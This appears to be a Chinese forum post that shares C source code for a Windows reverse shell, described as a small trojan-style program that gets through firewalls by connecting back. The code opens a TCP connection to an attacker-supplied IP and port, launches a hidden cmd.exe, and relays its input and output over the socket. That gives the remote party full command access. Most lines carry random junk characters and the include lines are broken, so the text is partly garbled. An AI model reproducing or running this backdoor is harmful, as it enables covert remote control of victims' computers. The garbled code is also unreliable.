这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kb[P\cRa
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/* ============================== C6O8RHg
Rebound port in Windows NT h;=6VgXZ
By wind,2006/7 fc/ &X
===============================*/ kYzC#.|1
#include )o\jJrVDf
#include Z%I
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#pragma comment(lib,"wsock32.lib") Yvn\xph3
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void OutputShell(); !LkWzn3
SOCKET sClient; ;<UW A.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aM7uBx\8 5
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void main(int argc,char **argv) kdb(I@6
{ kId
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WSADATA stWsaData; 5K|"\
int nRet; -P&6L\V
SOCKADDR_IN stSaiClient,stSaiServer; _+
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if(argc != 3) 0IQ'3_
{ ^F:k3,_[
printf("Useage:\n\rRebound DestIP DestPort\n"); ,gL9?Wz
return; F:6SPY
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} iCHt1VV]
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WSAStartup(MAKEWORD(2,2),&stWsaData); N}\[Gr
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [F5h
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stSaiClient.sin_family = AF_INET; a>mm+L8y
stSaiClient.sin_port = htons(0); PMfkA!.Y
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q~o,WZG
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c5|:,wkx
{ %*#n d
printf("Bind Socket Failed!\n"); 'R&uD~Q
return; 5e
sQ;
} rHP%0f9:
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stSaiServer.sin_family = AF_INET; ' oFxR003
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q[+ac*F=Y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |Yq$sU
{ &K/FyY5
printf("Connect Error!"); M>M`baM1
return; zD3mX<sw
} mrV!teP
OutputShell(); #z1H8CFL"
} sBV4)xM
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void OutputShell() 8p-=&cuo\@
{ au,t%8AC
char szBuff[1024]; 6rS$yjTX!
SECURITY_ATTRIBUTES stSecurityAttributes; n ]dL?BJ
OSVERSIONINFO stOsversionInfo; ,RN:^5 p
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QJ|a p4r
STARTUPINFO stStartupInfo; 4e;QiTj
char *szShell; S~]mWxgZ
PROCESS_INFORMATION stProcessInformation; ;W>Y:NCrp
unsigned long lBytesRead; G<M:Ak+~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b,KcBQ.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0-{tFN
stSecurityAttributes.lpSecurityDescriptor = 0; c^`]`xiX
stSecurityAttributes.bInheritHandle = TRUE; fAB e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y,pZTlE
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y'e eA 2O
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Et_V,s<|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2 1PFR:lP7
stStartupInfo.wShowWindow = SW_HIDE; fL]Pztsk+
stStartupInfo.hStdInput = hReadPipe; ^fz+41lE\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vf4{$Oag
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GetVersionEx(&stOsversionInfo); ^*\XgX
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switch(stOsversionInfo.dwPlatformId) j1 =`|
{ TY(bPq
case 1: wb Iq&>p
szShell = "command.com"; r <
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break; I}2P>)K
default: ,ZS6jZ
szShell = "cmd.exe"; n&A'C\
break; Su 5>$
} ](F#`zUQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -7!&@wuQ
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send(sClient,szMsg,77,0); ,YhdY6
while(1) ^uJU}v:
{ 7Ol}EPf#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); n[YEOkiG
if(lBytesRead) ddVa.0Z!<
{ ` ]Ppau
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o->\vlbD
send(sClient,szBuff,lBytesRead,0); hm<}p&!J
} L#)(H^[
else _ pO `
{ 7 h y&-<
lBytesRead=recv(sClient,szBuff,1024,0); fSDi-I
if(lBytesRead<=0) break; )etmE
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); JY!l!xH(6
} &uUo3qXQ5l
} 8P:
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return;
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}